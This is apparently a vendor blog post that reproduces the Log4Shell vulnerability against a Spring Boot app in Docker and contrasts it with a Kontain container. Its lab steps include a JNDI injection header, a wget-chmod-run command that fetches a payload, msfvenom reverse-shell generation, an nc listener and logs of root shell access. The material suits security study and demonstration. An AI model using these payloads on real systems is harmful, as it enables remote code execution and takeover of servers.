Log4Shell Attack Mitigation with Kontain Containers

Sanjay M
Kontain
Published in
7 min readDec 25, 2021

Introduction

Kontain is an opensource OCI and CRI compatible runtime for Docker and Kubernetes that enables VM like strong isolation for containers along with reduced resource size and an almost instantaneous startup time.

If you wish to help make the world of Containers and Kubernetes more secure, faster and more efficient using Kontain, you can contribute to the project at the link below and please do not forget to “star” the project on Github.

To learn how to use Kontain, you can view the User guide at:

This document:

  1. Explains how a particular version of the Log4j vulnerability works. Instructions for reproducing the exploit are given.
  2. Shows how this attack succeeds (that is, maliciously infects) when using standard Docker containers.
  3. Shows how this attack fails (that is, is unable to infect) the same container built with Kontain using the same Docker packaging tools.

This newsworthy situation is just one of many demonstrations of the benefits of running workloads in environments that are inherently more secure by (a) strongly isolating workloads from each other (reducing the blast radius), and (b) dramatically reducing the number of potential points of vulnerability (reducing the attack surface).

We illustrate the attack sequence below:

Fig. 1 Log4J Shell Attack Reproduction

Video Simulating the attack with a Docker based container

Here is a video demo showing the attack where the Docker based Container running the Spring Boot App gets compromised using Log4Shell attack and can execute shell commands with a reverse shell.

Video showing the attack with Kontain based container:

Here is another video demo showing the same attack but with the Spring Boot App bundled inside a Kontain based container. It shows that the attacker cannot execute any shell command.

Source code for Demo

As a reference, we have created a demo folder in the Kontain km project for this article:

Please note that we have made it a little easier by adding the dependent repos as part of the demo.

Basis for the exploit code

In this document, we use:

https://www.reposhub.com/java/web-frameworks/twseptian-Spring-Boot-Log4j-CVE-2021-44228-Docker-Lab.html

as the basis for our demonstration of the Log4j exploit.

The Log4j vulnerability exists in Java version 8. However, as of now Kontain supports only Java 11. To simulate and make Java 11 susceptible to this attack, we set the trustURLCodebase configuration to true:

com.sun.jndi.ldap.object.trustURLCodebase=true

The full attack scenario consists of many steps, and requires five separate terminal windows to set up.

Steps

Clone and build

Let clone and build the repo

# clone the repo and its subrepos
$ git clone https://github.com/kontainapp/km-demo.git
$ cd km-demo
$ git checkout -b sm/demo_log4jshell
$ git submodule update --init --recursive
# build the whole demo
$ make demo

Terminal 1

In terminal 1, we shall run the malicious LDAP server with docker:

$ docker run --network=host --rm log4jshell/jndi_exploit_kit

This malicious LDAP server is supposed to serve up an exploit Java class that does the following. Basically it tries to get the vulnerable app download “rev.elf” from the dialback malware server and create a reverse shell to the victim’s host.

# java -jar ./target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "wget http://127.0.0.1:8081/rev.elf -O /tmp/rev.elf && chmod +x /tmp/rev.elf && /tmp/rev.elf"

It shows general technique but particulars are different. The core of the exploit is in class TransformMethod that generates java bytecode equivalent of:

String[] cmd = new String[] { “/bin/bash”, “-c”, command };
Runtime.getRuntime().exec(cmd);

command is whatever the attacker wants to inject into the victim for execution. In the scenario we are following, the command is embedded as part of the attack URL. The LDAP server unpacks it and wraps in the java code that is sent to the victim.

Terminal 2

Switch to the vulnerable app folder:

$ cd log4shell-vulnerable-app

The victim code that is under attack is just one line:

logger.info(“Received a request for API version “ + apiVersion);

The trick is that the string argument to logger.info() is interpreted by JNDI. Depending what is sent in X-Api_Version: header the result could be pretty interesting.

Note the Dockerfile that builds the victim, the vulnerable Spring Boot application:

FROM gradle:7.3.1-jdk17 AS builderCOPY --chown=gradle:gradle . /home/gradle/srcWORKDIR /home/gradle/srcRUN gradle bootJar --no-daemonFROM openjdk:11-busterEXPOSE 8080COPY --from=builder /home/gradle/src/build/libs/*.jar /app/spring-boot-application.jarCMD ["java", "-Dcom.sun.jndi.ldap.object.trustURLCodebase=true", "-jar", "/app/spring-boot-application.jar"]

Terminal 3 (Dialback malware server)

We use the metasploit framework to create the dial back code and HTTP host on port 8081. The command line to create it is:

# we use docker to run the metaspoilt framework and generate the exploit# then we launch an HTTP server to serve up the exploit
$ cat msfvenom.sh
docker run --name=msfvenom log4jshell/msfvenom
docker cp msfvenom:/tmp/rev.elf /tmp/rev.elf
cd /tmp
python3 -m http.server 8082
$ cd /tmp
$ ./msfvenom.sh

Terminal 4 (Listening ncat server for reverse shell)

Just run nc that will accept dial back and present access to the victim shell:

# T4 - Reverse Shell Listening Server
$ nc -lvnp 4444

Terminal 5 (Attacking curl)

Regular shell window in which we will launch the attack. The important part of the attack URL is:

curl 127.0.0.2:8080 -H 'X-Api-Version: ${jndi:ldap://127.0.0.1:1389/xqinla}'

The vulnerable Spring Boot App logs the X-API-Version header and directs JNDI to connect to the ldap://127.0.0.1:1389 which serves up the exploit class to do the following:

wget http://127.0.0.1:8081/rev.elf -O /tmp/rev.elf && chmod +x /tmp/rev.elf && /tmp/rev.elf

So the malicious LDAP server responds with a Java class that executes that command. The victim executes that and fetches the rev.elf from the server in Terminal 3 and executes it. That connects to the netcat server in terminal 4.

Relevant snippets

Terminal 5 (attacking curl)

$ curl 127.0.0.2:8080 -H 'X-Api-Version: ${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/d2dldCBodHRwOi8vMTI3LjAuMC4xOjgwODEvcmV2LmVsZiAtTyAvdG1wL3Jldi5lbGYgJiYgY2htb2QgK3ggL3RtcC9yZXYuZWxmICYmIC90bXAvcmV2LmVsZgo=}'Hello, world!

The last line is a legitimate response from the victim.

Terminal 2 (Spring Boot vulnerable victim)

Victim also prints stack trace which is inconsequential, and logs the request:

2021-12-23 20:36:58.179  INFO 1 --- [nio-8080-exec-1] HelloWorld                          : Received …

Terminal 1 (malicious LDAP server)

This is the log of the malicious LDAP server responding to JNDI request:

[+] Received LDAP Query: Basic/Command/Base64/d2dldCBodHRwOi8vMTI3LjAuMC4xOjgwODEvcmV2LmVsZiAtTyAvdG1wL3Jldi5lbGYgJiYgY2htb2QgK3ggL3RtcC9yZXYuZWxmICYmIC90bXAvcmV2LmVsZgo=[+] Paylaod: command[+] Command: wget http://127.0.0.1:8081/rev.elf -O /tmp/rev.elf && chmod +x /tmp/rev.elf && /tmp/rev.elf[+] Sending LDAP ResourceRef result for Basic/Command/Base64/d2dldCBodHRwOi8vMTI3LjAuMC4xOjgwODEvcmV2LmVsZiAtTyAvdG1wL3Jldi5lbGYgJiYgY2htb2QgK3ggL3RtcC9yZXYuZWxmICYmIC90bXAvcmV2LmVsZgo= with basic remote reference payload[+] Send LDAP reference result for Basic/Command/Base64/d2dldCBodHRwOi8vMTI3LjAuMC4xOjgwODEvcmV2LmVsZiAtTyAvdG1wL3Jldi5lbGYgJiYgY2htb2QgK3ggL3RtcC9yZXYuZWxmICYmIC90bXAvcmV2LmVsZgo= redirecting to http://127.0.0.1:8888/ExploitigO4YubMcK.class[+] New HTTP Request From /127.0.0.1:53664  /ExploitigO4YubMcK.class[+] Receive ClassRequest: ExploitigO4YubMcK.class[+] Response Code: 200

Judging by this log this server can do many other things. But in this case it sends back the LDAP response with redirection to ExploitigO4YubMcK.class and the victim retrieves that class from HTTP server on 8888.

Terminal 3 (Dialback Malware server)

Invisible to the observer, the victim receives the LDAP response with redirection to the ExploitigO4YubMcK.class, fetches the class and executes it. What we see in Terminal 3 is the log of access:

127.0.0.1 - - [23/Dec/2021 20:36:58] "GET /rev.elf HTTP/1.1" 200 -

Terminal 4 (listening ncat server with reverse shell)

Again invisible to the observer the victim executes rev.elf which connects to our Terminal 4:

Ncat: Connection from 10.100.101.100.Ncat: Connection from 10.100.101.100:34484.

At this point we have a shell prompt, but it is invisible (or empty). For illustration we will show # as a prompt but we are going to highlight it to illustrate that it is invisible. Weird prompt notwithstanding we do have shell access to the victim:

# ls -ltotal 72drwxr-xr-x   1 root root 4096 Dec 23 20:28 appdrwxr-xr-x   1 root root 4096 Dec  2 11:35 bindrwxr-xr-x   2 root root 4096 Oct  3 09:00 bootdrwxr-xr-x   5 root root  360 Dec 23 20:33 devdrwxr-xr-x   1 root root 4096 Dec 23 20:33 etcdrwxr-xr-x   2 root root 4096 Oct  3 09:00 homedrwxr-xr-x   1 root root 4096 Dec  2 03:41 libdrwxr-xr-x   2 root root 4096 Dec  1 00:00 lib64drwxr-xr-x   2 root root 4096 Dec  1 00:00 mediadrwxr-xr-x   2 root root 4096 Dec  1 00:00 mntdrwxr-xr-x   2 root root 4096 Dec  1 00:00 optdr-xr-xr-x 658 root root    0 Dec 23 20:33 procdrwx------   1 root root 4096 Dec  2 11:36 rootdrwxr-xr-x   3 root root 4096 Dec  1 00:00 rundrwxr-xr-x   1 root root 4096 Dec  2 03:41 sbindrwxr-xr-x   2 root root 4096 Dec  1 00:00 srvdr-xr-xr-x  13 root root    0 Dec 21 16:09 sysdrwxrwxrwt   1 root root 4096 Dec 23 20:36 tmpdrwxr-xr-x   1 root root 4096 Dec  1 00:00 usrdrwxr-xr-x   1 root root 4096 Dec  1 00:00 var# iduid=0(root) gid=0(root) groups=0(root)

Victim in the Kontain-based Container

Caveat: The exploit uses Runtime.getRuntime().exec(cmd) which uses vfork(). We didn’t have support for that so the exploit would fail even earlier. There is a PR #1444 pending, need to use that code to see behavior described here.

Same setup, but in terminal 1 run it like this:

$ docker run --rm --runtime=krun --network=host log4jshell/vulnerable-app-kontain

Using the same sequence as before, we see that:

The Attacker is not able to use any exploitable artifacts from inside the Kontain-based container and is in fact stuck inside a Kontain based Container strongly isolated like a VM.

Summary

The above simulation of the Log4Shell attack shows that if the Java Application was hosted in a Kontain based container, the attack would have been mitigated by not presenting exploitable artifacts, reducing the blast radius, and confining the attacker to the strongly isolated Kontain based Container.

You can view the Kontain project on github here.

--

--